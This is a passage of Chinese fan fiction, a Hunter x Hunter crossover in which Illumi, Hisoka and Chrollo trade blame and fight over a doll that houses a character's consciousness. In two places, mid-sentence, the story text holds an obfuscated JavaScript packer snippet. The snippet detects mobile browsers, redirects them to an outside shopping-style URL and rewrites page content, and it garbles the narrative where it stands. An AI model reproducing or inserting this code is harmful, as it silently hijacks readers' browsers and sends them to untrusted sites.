凯透过视觉共享,“看”着程笑刚才偷偷摸摸做完小动作的方向,语气充满了难以言喻的复杂:“…你刚才,是不是故意在那边的…女厕所附近,留下了一缕非常细微的念力痕迹?” “嗨嗨!这你就不懂了吧!”程笑得意地搓着手,眼睛亮得吓人,开始滔滔不绝地传授他的“程氏兵法”: “那个蜘蛛头子手里那本破书,阴得很!谁知道里头都塞了什么稀奇古怪的追踪能力?我这是防患于未然,留个‘惊喜礼物’!” “万一,我是说万一,他真能追过来,顺着味儿找到那儿……嘿嘿,先送他一份‘社死’大礼包!动静闹大了,咱们不就能提前收到‘警报’了嘛?这叫‘敌动我知,成本极低’!” 他越说越兴奋,仿佛已经看到了那个画面,发出了反派般的怪笑:“桀桀桀…到时候咱说不定还能混在人群里,用手机拍下他百口莫辩的英姿,加工一下散布出去——‘震惊!幻影旅团团长竟有如此癖好!’让他直接社会性死亡,身败名裂!桀桀桀桀桀~!” 处于意识体的凯默默地抬起手,按住了自己的额头(虽然并没有真正的头痛机制):“…好了,可以了,别这么笑。” 他算是明白了,跟程笑在一起,不仅要防范敌人的刀枪,还得防范队友过于清奇的脑洞带来的精神污染。“那么,警报既然可能已经触发,我们接下来去哪?真正的藏身点?” 程笑一秒收敛怪笑,正色道:“当然是去‘安全屋’啊!跟我来,这边~” —————————————— 伊尔迷和西索在“忘了路”的哲学性困境中面面相觑了几秒,终于,伊尔迷那高效务实(且充满商业头脑)的思维占据了上风。 “等着。”他毫无感情地吐出两个字,掏出了揍敌客特制的加密通讯器,拨通了库洛洛的号码。 西索在一旁百无聊赖地打了个哈欠,用指尖的扑克牌修剪着并不存在的指甲,仿佛刚才提议抽鬼牌定胜负的人不是他。 简短几句交流后,伊尔迷挂断电话,言简意赅:“他给了坐标。让我们立刻过去汇合。” 灌木丛中,一直默默窥屏(并准备撤离)的侠客,手机震了一下。他低头一看,是自家团长发来的、一条语义极其明确的指令:「准备好相机,调至高倍变焦,对准我给你的坐标。」 侠客:“……?”(虽然满头问号,但对团长的绝对信任让他立刻打开了手机的专业摄像模式,并给芬克斯等人打了“准备看戏”的手势。) 按照坐标,伊尔迷和西索很快来到了集市边缘。伊尔迷精准地扒开了那片与坐标分毫不差的、浓密的灌木丛—— 映入眼帘的,不是预期中紧张的对峙或狼狈的猎物。 而是一个公共厕所(女),以及厕所门口,被一位横眉怒目、手持扫帚的大姨牢牢“看管”着的、脸色平静得有些异常的库洛洛·鲁西鲁。 更诡异的是,当库洛洛看到伊尔迷和西索从灌木丛后现身时,他立刻抬起手,用清晰无误、足以让周围所有竖起耳朵的群众听到的音量,指向他们,对那位大姨说道: “警察…不,保安同志,就是他们。我是被胁迫的。主谋是他们,我什么都不知道,只是被逼着在这里放风。” 伊尔迷:“……?” 西索:“……~?”(这突如其来的剧本让他金色的瞳孔里瞬间充满了新鲜的好奇) 不远处的阴影里,侠客的镜头稳稳地对准了这一幕。看着团长那无比自然(且无耻)的甩锅表演,以及两位“主谋”那精彩绝伦的茫然表情,侠客恍然大悟,嘴角抽搐着,按下了连拍键。 咔嚓、咔嚓、咔嚓。 在库洛洛那声清晰无误的指认之后,空气凝固了大约0.5秒。 然后,伊尔迷·揍敌客,这位以绝对理性和高效著称的杀手,展现了他无与伦比的应变能力和商业天赋。 他没有丝毫犹豫,甚至没有多看库洛洛一眼,立刻将那双空洞的猫眼转向了旁边还在看戏状态的西索。他抬起手,用比库洛洛更加理直气壮、更加不容置疑的平板声调,精准地完成了指控的二次传递: “…他才是主谋。” 伊尔迷的手指稳稳地指向西索的鼻尖,补充了至关重要的细节,“我,是被挟持的。被迫参与。” 西索:“??????” 他那张妖孽的脸上,第一次出现了近乎纯真的、巨大的困惑。金色的瞳孔在伊尔迷面无表情的脸和库洛洛“无辜”的脸之间来回扫视,仿佛在确认自己是不是突然跳进了某个平行宇宙的搞笑片场。 就在西索CPU过载的瞬间,伊尔迷微微侧头,用只有他们两人能听到的、冰冷平稳的气音,吐出了两个决定性的字: “3次。” (含义:你欠我的那三次“白打工”,一笔勾销。) 西索:“………………………………………(漫长的、死寂的沉默)” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822864|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那总是挂着扭曲笑容的嘴角,几不可查地抽搐了一下。脑中飞速进行着利益计算: 反驳/反抗?会很麻烦,而且可能让之前输掉的赌注变得毫无意义。 配合演出?能立刻清偿巨额债务,而且……好像还挺有趣的? 权衡只在刹那。 下一秒,西索脸上那困惑的表情如同潮水般褪去,取而代之的是一种更加夸张、更加荡漾的、仿佛终于进入角色的愉悦笑容。他甚至优雅地鞠了一躬,用咏叹调般的甜腻嗓音对着大姨(和潜在的镜头)说道: “嗯哼~?被发现了呢~~~没错哦~一切都是我~干的~?这两位先生,只是不幸的……观赏者呢~?” (内心:好吧,这游戏……我加入了。但小伊,还有库洛洛……这账,我们晚点再算~?) 不远处的侠客,按快门的手指都快抽筋了。 —————————————— 格雷塔,前二星遗迹猎人,现二线记者兼客栈老板娘。 她的人生轨迹颇有些传奇色彩:曾为一个代号为“凯”的神秘雇主工作,任务简单——接收他提供的、关于她失踪队友的零星线索,作为回报,她为他运送一些不太起眼的特殊物资。这份交易持续了一阵,直到某天,“凯”如同人间蒸发般彻底失联。 就在她几乎放弃时,却发现和自己对接的萨恩变得痴痴呆呆,甚至对方的办公楼还被烧了。 于是,出于某种复杂的责任心(或许还有对“凯”那未竟交易的模糊承诺),她把这个“同事”带在了身边,一直照顾至今。 命运的转折点发生在友客鑫。那场震惊世界的“宝船爆炸与幻影旅团黑锅事件”,让她凭借第一手的现场照片和独家报道一夜暴富,成了个小富婆。有了钱和名声,她想起“凯”最后提供的那个坐标——一个偏僻但环境尚可的地点。 索性,就在那里开个旅馆吧。既能有个安稳据点,二星猎人的身份也足以让她在当地成为小有名气的“保护神”,日子过得平静而充实。 今晚,像往常一样。 格雷塔打着哈欠,准备拉上小旅馆那扇古朴的木门。街道上空无一人,只有远处偶尔传来几声犬吠。 就在门扉即将合拢的瞬间—— 一只沾着泥土和草屑的手,猛地从门缝里伸了进来,险险地卡住了门! 紧接着,一张带着夸张疲惫、却依旧努力挤出灿烂笑容的少年脸庞,从门缝后探了出来,声音因为急切而有些变调: “老板娘!九敏啊——!刀下留门!呸,是手下留门!还有我捏!!别关别关!” 格雷塔:“……?” 她停下动作,借着门廊昏黄的灯光,打量着这个几乎把整个脑袋都塞进门的少年。个子不高,堪堪到她胸口,模样倒是清秀,就是浑身透着一股风尘仆仆、仿佛刚从哪个山沟里滚出来的狼狈劲儿,唯有那双眼睛亮得惊人,写满了“求收留”三个大字。 作为一个经验丰富的猎人和旅店老板,格雷塔瞬间在心里拉起了警报,但又觉得这少年的气质……有种莫名的、突兀的熟悉感。好像在哪里感受过类似的气息,却又一时想不起来。 ——————————————— 夜色中,当两位终于摆脱了“公共厕所变态团伙”嫌疑、并完成了一系列低调操作的“盟友”,本着最后一丝微薄的、基于“他或许还有用”的契约精神,决定去警局把那位扛下所有罪名的“主谋”偷偷捞出来时—— 他们发现,拘留室里空空如也。 调阅档案,记录如下: 姓名:西索(自称) 年龄:不详 指控:涉嫌在公共场合进行变态滋扰及精神污染。 处理结果:经观察,嫌疑人言语逻辑极度跳跃,伴有夸张的肢体表演艺术行为,情感表达浮夸且脱离现实,疑似沉浸式戏剧表演走火入魔,或存在严重表演型人格障碍及现实认知偏差。经初步心理评估,认定其当前状态不符合刑事拘留标准,但具有潜在社会行为风险。已按《精神卫生法》相关条例,转移至市立第三精神卫生中心(俗称“精神病院”)进行隔离观察与治疗。 档案末尾,还有某位好心警员的备注:演技挺好,就是药不能停啊。 伊尔迷拿着这份档案,对着“精神卫生中心”那几个字,陷入了比面对库洛洛指认时更长的沉默。 许久,他用一种探讨“今晚垃圾要不要分类”的平淡语气提议: “…不然,就让他暂时呆在那里吧。环境…似乎挺安静的。”(潜台词:省心,且不会出来捣乱。) 库洛洛接过档案扫了一眼,看到“表演型人格障碍”、“沉浸式戏剧”等诊断描述时,他那总是古井无波的眼角,似乎几不可查地抽动了一下。 他合上档案,语气里带着一种找到终极答案般的平静与认可: “…从专业诊断来看,这个安置地点,确实挺合适的。” 两人对视一眼,在冰冷的月光下,达成了前所未有的、发自内心的共识。 ——就让魔术师,在属于他的舞台上,好好接受“治疗”吧。 至于他什么时候会自己把病院拆了跑出来,那就是下一个需要头疼的问题了。 不过今晚,世界很清净。 月光流淌在两个同样心思难测的男人之间,映不出半分愧疚。 良心,是个很玄乎的东西。 上一秒,它或许曾因那微薄的契约精神而短暂地闪烁过一下。 但现在,阅读完这份荒诞却合理的诊断书后—— 它肯定,已经不在这个房间里了。 44.第 44 章 “…所以,”程笑挠了挠后脑勺,总结道,“钱没带够,就得当一回小白鼠,体验一下老板娘您的‘特色服务’?” 格雷塔双手抱胸,靠在柜台边,郑重其事地点点头,脸上甚至带着一丝“童叟无欺”的坦然笑容。 她这间开在偏僻地带的旅馆,本就是为了那些需要“避风头”的人准备的。能找来的,多半仇家遍地。既然是行走在阴影里的“恶人”,那她收取一点“额外费用”——比如,作为她念能力新开发的实验对象——自然也就没什么心理负担了。 程笑叹了口气:“…好吧。那么,您的念能力具体是…?我总有权提前知道‘刑罚’内容吧?” 格雷塔笑眯眯地摇了摇手指:“这怎么能告诉你呢?万一你为了规避效果,提前做了什么防备,那我岂不是亏大了?” 程笑:“………………行吧。” 他认命地接过老板娘递来的老旧黄铜钥匙。“你赢了。” 转身走向嘎吱作响的木楼梯,在踏上第一级台阶前,程笑忽然停住,回头,用一种异常清晰的语气补充道: “…记住,你的能力,只可以对我一个人实施。别波及无辜。” 格雷塔脸上的笑容微微一顿,她挑了挑眉:“小帅哥儿还挺讲义气~放心啦!我做生意很讲良心哒~” ——————————房间内 “艾玛…”程笑把自己摔进不算柔软但干净的床铺,盯着墙上老式挂钟的指针。距离午夜十二点,还有五分钟。 “太冒险了。” 凯冷静的声音在意识深处响起,带着不赞同。在完全未知对方念能力效果的情况下,同意成为实验品,这不符合风险控制原则。 “安啦安啦,”程笑盯着秒针一格一格跳动,“谁叫咱现在是个穷光蛋呢…况且…”他顿了顿,声音压低了些,“我刚刚‘赊’了一点‘未来可能性的情报’,得到的反馈是——在这里,我们确实能得到‘片刻的安宁’。风险与收益,我觉得可以赌一把。” 他转移了话题:“倒不如说说你,意识之偶弄丢了,还能感应到或者找回来不?” 凯沉默了片刻,似乎在努力感知:“…联系很微弱。但我最后‘下线’的地点,应该还在那片森林里。” “?不会被伊尔迷捡走吧?”程笑立刻想到最坏的可能。 “…应该不会。” 凯的语气难得带上了一丝不确定,但很快又坚定起来,“他一旦确认那只是个没有灵魂的空壳,没有任何价值,按照他的逻辑,会立刻当作垃圾处理掉。” “emmm…有道理。”程笑稍微放松了点。伊尔迷那种极致的实用主义者,确实不像会收藏“失败品”的人。 铛——铛—— 十二点的钟声,沉闷地敲响了。 几乎在钟声落下的同一瞬间,程笑感觉一股难以抗拒的沉重疲倦感席卷而来,仿佛全身的骨头都被抽走。他连手指都无法动弹,意识却异常清醒。 “绝对静止”的代价,开始偿还了。 ——————————另一边,某城镇旅店 伊尔迷·揍敌客坐在床边,垂眸,面无表情地把玩着手中那个巴掌大、做工精致却毫无生气的人偶。 ……丑。 不过,还算…干净。 他也不知为何,在确认这只是一个空壳后,没有像处理其他无用物品那样将它毁掉或丢弃,而是带了回来。或许是因为它曾短暂地容纳过凯的意识?又或者,仅仅是作为一个“任务相关物品”需要保留? “叩叩。” 极轻的敲门声响起。 伊尔迷:“…?” “是我。” 门外的声音平静无波。紧接着,门锁处传来几声几乎微不可闻的、精密的金属摩擦声,然后——门被推开了。 库洛洛·鲁西鲁仿佛回自己房间一样,自然地走了进来,并顺手带上了门。他瞥了一眼伊尔迷手中的人偶,目光没有任何停留,便径自在窗边的椅子上坐下。 伊尔迷放下人偶,漆黑的猫眼转向不请自来的客人,用陈述事实的语气说:“…我记得,我的门锁了。” 库洛洛拿起桌上的一个苹果,指尖不知何时具现出一个小巧的念刃,开始削皮,动作优雅:“~撬锁而已,又不是什么难事。” (潜台词:你该换把更结实的锁了。) 伊尔迷沉默了两秒,视线落在被破坏的门锁上,然后移回库洛洛脸上,清晰地说道: “…维修费。你记得赔。” 库洛洛削苹果的动作几不可查地顿了一下:“…………” 空气里弥漫着冰冷的尴尬。 库洛洛无声地咬了一口苹果,清脆的响声在寂静的房间里格外清晰。他咽下果肉,仿佛刚才的尴尬从未存在。 算了,忍忍吧。 (指赔偿门锁的事,或者说,指和伊尔迷打交道这件事本身。) 他黑色的瞳孔(在月光下显得格外幽深)扫过伊尔迷手中的人偶。 ………要不是‘意识之偶’在你手里,谁愿意大半夜的过来。 他刚刚从负责情报汇总的侠客那里,收到了关于这件“友客鑫遗失古董”的完整资料。只消一眼,他就明白了森林里那场“人偶消失术”的真相,也瞬间洞悉了这件道具此刻蕴含的、令人心悸的战略价值。 意识之偶,古代遗留物。其核心规则之一:一旦被某个意识成功寄宿并建立连接,在该意识彻底消亡之前,它将拒绝接纳第二个意识。 这意味着什么? 意味着只要凯·希拉里昂的意识还存在于某处(比如程笑的脑海里),这个看似普通的空壳人偶,就永远是他的专属备用躯壳和潜在安全屋。 只要条件合适,他随时可以放弃程笑那具会疲惫、会受伤的□□,重新回到这个更隐蔽、更不易被追踪的“家”里。 而眼前这位揍敌客大少爷,显然对这件古董的底细并不完全了解。他只是凭着某种野兽般的、近乎恐怖的直觉,将这件“战利品”捡了回来,并且——没有扔掉。 库洛洛的目光再次落到人偶上,语气里带着一丝不易察觉的、学者般的探究与棋手般的算计: “你似乎……不太清楚你手里拿着的是什么。” 库洛洛说完,房间内陷入了短暂的寂静。他观察着伊尔迷的反应——对方只是用那双空洞的猫眼看着他,手里依旧无意识地摩挲着人偶光滑的表面,没有任何表示。 (计划A:言语诱导,宣告失败。) 库洛洛迅速切换策略。他放下苹果核,用餐巾纸慢条斯理地擦了擦手指,然后用一种谈论报废家电般的、略带惋惜和轻蔑的语气说道: “不过,严格来说,这东西现在也确实没半点用处了。” 他抬手指了指人偶,目光平静得像在鉴定一件赝品: “意识离体,链接中断。它现在就是个做工还算精细的古代工艺品,或许有点收藏价值,但对我们当前的目标——定位并回收‘凯’——而言,毫无价值。” (潜台词:一个空壳,留着占地方,扔了吧。) 他说得无比自然,基于“链接中断”,推导出“对追踪无用的空壳”这一结论,逻辑链条看似完美。任何一个理性至上、目标明确的人,都可能被说服。 但伊尔迷·揍敌客,恰恰在关于“凯”的问题上,是最不理性的那个。 他没有反驳,没有询问,甚至眼神都没有波动。 他只是……默默地把手里的人偶,握得更紧了一些。然后,将它轻轻放在了床头柜上——一个离自己更近、更显眼的位置。 动作里透着一股无声的、孩童护食般的固执: 我知道你说它没用。但我就是不扔。 库洛洛:“……………” 他那总是优雅从容的脸上,第一次出现了一丝极淡的、名为“棘手”的情绪。精心编织的逻辑谎言,撞上了一堵名为“偏执直觉”的墙,连个回声都没有。 他在心里轻轻地“啧”了一声。 看来,计划B(巧取)也失败了。 库洛洛看着伊尔迷那副“你说任你说,我就是不撒手”的顽固姿态,理智上知道今晚强取或巧夺都已无望。但“意识之偶”背后代表的、让凯得以“金蝉脱壳”甚至可能“卷土重来”的战略可能性,像一根细刺扎在他思维的核心。 他必须得到它,或者,至少确保它不会成为未来的变数。 这份罕见的、因算计受挫和对潜在威胁的评估而产生的强烈意愿,让他在起身离开时,近乎本能地、又多看了那人偶一眼。眼神深处,掠过一丝极淡却真实的 “势在必得” 。 就是这一眼。 伊尔迷捕捉到了。 空洞的猫眼几不可查地转动了一下。库洛洛·鲁西鲁,一个以绝对理性和效率著称的蜘蛛头子,会对一个被他亲自鉴定为“毫无价值”的古董空壳,流露出如此清晰的、近乎执念的关注? 这不符合逻辑。 这很不对劲。 伊尔迷没有出声询问,那毫无意义。他只是在库洛洛的身影消失在门外,门锁(再次)发出轻微响动后,静静地坐回床边。 他拿起那个被库洛洛评价为“无用”的人偶,又仔细看了一遍。 依旧没有念,没有异常。 但库洛洛的反常,就是最大的异常。 伊尔迷思考了三秒。 然后,他拿出手机,点开一个加密聊天窗口,输入对象:糜稽。 ————————夜幕深重,万物俱寂。 程笑的身体因“绝对静止”的代价而陷入沉睡,凯的意识则悄然脱离,决定返回森林, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874401|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻回那具被遗弃的“意识之偶”躯壳。将其丢弃在野外终究不够稳妥。 至于将程笑独自留在格雷塔的旅馆……凯对此并不太担心。格雷塔是他的旧识,她的念能力效果和为人原则,他相当清楚。把程笑暂时交到她的“监管”下,某种程度上,甚至比跟着自己更安全。 至于为何不与这位老朋友相认…… 凯的思绪短暂地飘回过去。当初为了雇佣这位能力出众却心系队友的二星猎人,他确实……用了一些不完全是实话的“信息”作为交换筹码。 emmmm……… 这种情况下,还是不要见面为好,免得彼此尴尬。 确认了地图和路线,以意识之偶的速度,天亮前应该能赶回来。 凯最后在意识中勾勒了一遍从森林到旅馆的路径,随即,将全部感知投向了远方那具冰冷的躯壳。 ——————— 另一边,伊尔迷下榻的旅店。 库洛洛如同真正的影子,无声地潜入了伊尔迷的房间。 将盗窃任务交给团员?风险太高,且容易留下把柄。对于“意识之偶”这种牵涉核心战略又充满变数的物品,他无法放心交给任何人。 他当然不敢有丝毫小觑伊尔迷·揍敌客那野兽般的敏锐度。此刻,他将“绝”的精髓发挥到了极致,气息、体温、存在感都降至最低,如同房间内一抹更深的黑暗。 动作轻缓,步伐精准。他的手,终于触到了床头柜上那个微凉的、人偶的手臂轮廓。 成功了—— 叮咚!叮咚!叮咚! 一阵响亮且持久的、预设为最高优先级的特殊提示音,猛然从伊尔迷枕边的手机里炸响!在寂静的房间里如同惊雷。 库洛洛:“…!”(瞳孔骤缩,脑中警报凄厉长鸣。) 没有丝毫犹豫,他来不及思考,本能快过思维——手臂猛地一捞,抓起刚刚触碰到的人偶,身体如同液体般向下一滑,以惊人的柔韧和速度,悄无声息地滚入了紧挨着床边的狭窄空隙——床底! 几乎在同一瞬间,床上的伊尔迷睁开了眼睛。 那双漆黑的猫眼里没有丝毫刚醒的迷茫,只有绝对的清醒和冰冷的锐利。 他没有立刻动作,只是静静地躺着,听着那突兀的提示音,感知着房间里每一丝空气的流动。 手机屏幕上,是糜稽发来的、标注着“绝密”的调查报告。内容详尽,直指核心: “意识之偶”,功能:意识寄宿。关键规则:一经绑定,至死方休。只要原意识未消亡,它永远是该意识的专属容器,可随时回归。 伊尔迷的视线在屏幕上那行“可随时回归”上停留了一秒。 ……哼。 果然。 ? 不对。 几乎在理解情报含义的刹那,另一种更尖锐的警报在直觉中炸开。他空着的手习惯性地向枕边一探—— 触感是空的。 人偶呢? 以他的警戒级别和感知,不可能有人在如此近的距离内,不引发丝毫动静就偷走东西。 他没有立刻暴起,而是以一种慢得令人心悸的速度,缓缓地、无声地坐起身。 然后,“啪”的一声,打开了床头灯。 柔和(但对床底而言刺眼)的灯光瞬间驱散了房间的黑暗。 伊尔迷的目光如冰冷的探照灯,扫过空荡荡的床头柜,扫过平整的地面,扫过房间里每一个角落。 最后,他的视线,若有若无地,落在了自己身下的……床沿边缘。 床底。 库洛洛正经历着职业生涯(或许也是人生)中最荒谬、最紧张的时刻。 他紧紧贴着冰凉的地板,身体因极致的“绝”和紧绷而微微僵硬。一只手死死捂着怀中人偶的……嘴(尽管人偶并没有呼吸功能)。 而就在灯光亮起、伊尔迷坐起的那几秒钟里—— 他怀里的这个本应是“空壳”的人偶,突然轻微地、极其不自然地颤动了一下!紧接着,一股极其微弱、却绝对不容错辨的意识波动,如同投入死水中的石子,从人偶内部清晰地传来! 库洛洛:“……!!!?” 为什么偏偏是现在?!为什么偏偏在这种时候附身回来了啊!!! 他能感觉到,怀中的人偶正在“苏醒”。那僵硬的肢体似乎正试图调整一个更舒适的姿势,然后,不可避免地,会碰到床底板,发出声音…… 而头顶上方,那双属于伊尔迷·揍敌客的、仿佛能穿透床板的冰冷视线,似乎已经锁定了这片区域。 此时,一个宇宙级荒诞的舞台拉开帷幕: 你想偷的宝物突然活了,宝物的正主就在你头顶盯着,而宝物本人(凯)的意识正在你怀里懵逼地开机。 45.第 45 章 凯的意识在人偶躯壳内缓缓苏醒,五感如同老旧的仪器,逐项启动。 触觉……不对劲。 预想中应该是林间落叶的潮湿松软,或是泥土的坚硬冰冷。 但实际传来的,是一种温暖、柔软、且带有高级织物细腻纹理的包裹感,仿佛被裹在一件……毛茸茸的皮毛大衣里?紧密,甚至有点束缚。 …熊? 确实,只有大型哺乳动物(比如熊)才可能有这样厚实的毛皮,和足以将他整个人(偶)圈住、让他难以动弹的“灵活上肢”。 ……运气真差。居然在回归的第一时间,就被夜间觅食的野兽当成玩具捡走了吗? 他尝试调整视角,缓缓地、谨慎地抬起了头——准备面对一双野兽的瞳孔,或是湿热的鼻息。 然后。 他对上了一张人脸。 一张在极近距离下,俊美、苍白、写满了“事情麻烦大了”的、属于库洛洛·鲁西鲁的脸。 凯:………!! (惊吓×1,从野兽百科频道瞬间跳台到通缉令头条。) 库洛洛显然察觉到了他目光中的震撼(和一丝即将脱口而出的质问),立刻低下头,将一根手指竖在唇前,做了一个清晰无比的 “嘘——” 口型。那双总是深不见底的黑眸里,罕见地透出一种 “不想死就安静” 的紧迫警告。 凯认出了库洛洛,大脑在0.1秒内处理了这个信息。 ……蜘蛛头子?抱着我?在…哪里? 还没等他那刚刚重启的CPU理清“库洛洛为何在此”以及“我为何在他怀里”这两个致命问题—— 上方,传来了一个他死也不会认错、冰冷平直、此刻却如同丧钟般的声音: “…找到了。” 是伊尔迷。 凯:………??!! (惊吓×2) 他几乎是机械地、带着某种赴死般的觉悟,循声扭过了人偶僵硬的脖颈,向“床外”望去—— 正正对上了,伊尔迷·揍敌客那张倒着从床沿探下来、在昏暗光线下如同索命幽魂般的脸。 漆黑的猫眼一眨不眨,面无表情,直勾勾地“看”着床底,或者说,看着库洛洛怀里的他。 凯:…………… (惊吓×3) 在短短几秒内经历了“野兽→蜘蛛头子→前杀手丈夫”的三连击后,他那刚刚重启的情绪系统终于彻底过载,蓝屏了。一股诡异的、近乎禅定的平静笼罩了他。 他甚至有闲心开始进行艺术批评: 伊尔迷这个倒挂探头的姿势,脖颈与身体的扭曲角度极其非人;那双在阴影中依旧清晰锁定了他的、毫无高光的漆黑猫眼;搭配上床头灯从上方打下的、制造出强烈明暗对比的顶光…… 这已经超越了寻常恐怖片的范畴。 这直接迈入了《咒怨》或《午夜凶铃》的领域,属于那种“物理攻击无效,需要找大师做法”的经典灵异片造型。 而自己,正被另一个恐怖片标配角色(优雅变态杀人狂)紧紧搂在怀里,躺在这个灵异片主角的床底下。 真是一场……沉浸式、跨界联动的惊悚体验啊。 凯麻木地想,甚至觉得如果此刻有爆米花,他可能会下意识接过来。 现实过于超现实,反而让他的大脑选择了放弃治疗,静观其变。 反正,情况也不可能更糟了……吧? 凯:……………… 床底狭小的黑暗空间被粗暴打破,光线涌入。伊尔迷单手就将整张床掀起,如同掀开一个过于沉重的饼干盒,动作干脆利落,没有一丝多余。 物理遮蔽,消失。 三人——或者说,两个大活人和一个刚开机的人偶——彻底暴露在房间明亮的灯光下,形成一个极其尴尬的三角对峙。 凯的本能(逃离伊尔迷)瞬间压倒麻木。人偶的关节刚一发力,试图弹射起步—— 手腕被猛地攥住! 库洛洛的手指如同铁箍,牢牢锁住了他。力道之大,几乎让人偶纤细的手腕发出不堪重负的轻响。他并没有看凯,目光紧锁着伊尔迷,声音却压得极低,语速飞快地钻进凯的耳朵: “省省吧。以你这具躯壳的速度和此刻的距离,在他注意力百分百锁定你的情况下强行启动……” 库洛洛的声音里甚至带着一丝冰冷的嘲弄,“我赌你直接撞进他怀里的概率,高达97.3%。想再体验一次‘近距离接触’吗?” 凯:? (被物理制止+语言威胁,动作僵住。)所以?等死? 库洛洛没再理会凯无声的质问。他攥着凯的手腕非但没有松开,反而上前半步,以一种近乎“展示成果”的姿态,将僵硬的凯微微带向自己身侧,然后抬头迎向伊尔迷那双深不见底、此刻正翻涌着实质性杀意的猫眼。 库洛洛的脸上,迅速切换出一种混合着“实验者的狂热”、“些许鲁莽的歉意”以及“成功喜悦”的复杂表情——足以拿奥斯卡的那种。 他清了清嗓子,用清晰、稳定、带着恰到好处兴奋余韵的声线宣布: “冷静,伊尔迷。一个好消息。” 他晃了晃手里抓着的凯(人偶),仿佛那是一个刚修好的精密仪器:“我刚刚……尝试发动了一个新入手的念能力。效果是强制链接并唤醒断联的意识载体。” 他直视着伊尔迷,眼神坦然得令人发指:“看来,我成功了。中断的链接被我重新接上了——我把‘凯’,弄回来了。” (潜台词:你看,我不是来偷你东西的。我是来帮你“修好”它,甚至“激活”它的。虽然方式鲁莽了点,但结果是好的,不是吗?) 房间内一片死寂。 只有库洛洛“坦诚”的宣告在空气中回荡。 伊尔迷的目光,缓缓从库洛洛“诚恳”的脸,移到他紧抓着凯手腕的手,再移到凯那张依旧没什么表情、但明显处于强制开机懵懂状态的人偶脸上。 他什么也没说。没有拆穿,没有质问。 只是向前迈了一步,伸出手,以一种完全不容拒绝、也完全无法被库洛洛的“演技”所阻挡的力道和角度,精准地扣住了凯的另一边手臂,然后——平稳、坚定地将凯从库洛洛的钳制中“拔”了出来,拉到自己身侧。 动作流畅得像接过一件本就属于自己的快递。 库洛洛脸上那副“狂热实验家”的表情没有丝毫变化,甚至顺势松开了手,表现得无比自然,仿佛本就打算将“修复好的物品”交还给主人。 只有他眼底最深处,极快地掠过一丝计划彻底败露、且失去先机的前功尽弃的冰冷惋惜。果然,小伊没那么好骗。糜稽的情报网,到底还是快了一步。 伊尔迷将凯完全置于自己触手可及的范围内后,才抬起那双漆黑的猫眼,看向库洛洛,用平板无波的声线,提出了今晚的第二次索赔: “…记得赔。” 赔偿内容可能包括但不限于:门锁维修费、非法入侵费、擅自实验风险费、以及……精神损失费?总之,揍敌客的账单会列得很清楚。 他没有说破“你在骗我”。 但这两个字,和他此刻的眼神一样,冰冷地悬在空气中。 库洛洛听懂了。 但对方选择了不捅破。 这意味着……合作还有继续的价值,至少在当前“追捕程笑”这个共同最高目标面前。 库洛洛从善如流,微微颔首:“当然。费用我会承担。” (一个现成的台阶,不下白不下。) 两人心照不宣。 凯被伊尔迷牢牢控制在身侧,人偶的面部没有什么表情,意识深处已然是一片麻木的平静。 最坏情况不过是行动失败,被伊尔迷控制。虽然暂时失去自由,但到点自动回归程笑处,本质安全。 而且…留在这里,可直接监视敌方动向和计划,获取第一手情报。 想通了利害关系,凯彻底放弃了挣扎,任由伊尔迷摆布,仿佛一个真正的人偶。他甚至调整了一下内部感知,开始记录周围环境数据和两人的对话——专业素养,时刻在线。 伊尔迷对凯的“识时务”(或者说,彻底躺平)感到一丝微不可查的满意。很好,省去了不必要的麻烦。 他拉着凯来到酒店前台。深夜值班的工作人员看着去而复返的客人,以及客人身旁多出来的一个人,脸上职业笑容不变,心里怎么想的就没人知道了。 “再开一间房。”伊尔迷说。 “另外,”他补充道,指向身后的库洛洛,“这位先生造成的所有物品损坏和……服务干扰费,记在他账上。账单列清楚。” 工作人员熟练操作,很快打出一张明细。 “您好,这是赔偿清单。门锁强制破坏及安装费、夜间服务打扰费、潜在精神补偿费……总计:460万戒尼。”数字不小,但对能住进这家店的客人来说,也不算离谱。 伊尔迷接过账单,扫了一眼。 凯也看了一眼。 然后,两人几乎同时抬起头,看向跟在后面、一脸平静(内心可能还在复盘失败)的库洛洛。 伊尔迷用他那特有的、陈述事实般的平板声线,清晰地说道: “460万……” 凯的意识波动同步接受到一个无声的、但意思明确的意念,仿佛在帮忙“翻译”或“确认”。 两人异口同声,完成了这句话: “…亿戒尼。” 前台工作人员:“……???”(笑容僵在脸上,以为自己听错了,或者打印机故障多打了几个零?) 库洛洛:“……???” 那张总是从容淡定的脸上,第一次出现了近乎空白的、纯粹的疑惑。黑色的瞳孔在账单、伊尔迷、凯、以及前台之间来回移动,CPU疯狂运转:这个旅馆的物价水平……是建立在金矿上的吗?!还是揍敌客的敲诈已经进化到如此明目张胆了?! 空气再次凝固。 只不过这次是因为一个过于荒谬的数字,和两位“苦主”那理直气壮、毫不脸红的敲诈姿态。 ——今夜,库洛洛·鲁西鲁,不仅行动失败,被迫背锅,还可能面临一笔足以让幻影旅团考虑去抢银行的天价账单。 …………………… 房门在库洛洛身后关上(带着一张天文数字的账单)。房间内只剩下伊尔迷,和他手中这具“失而复得”的“凯·揍敌客”人偶。 空气凝滞,只有中央空调低沉的嗡鸣。 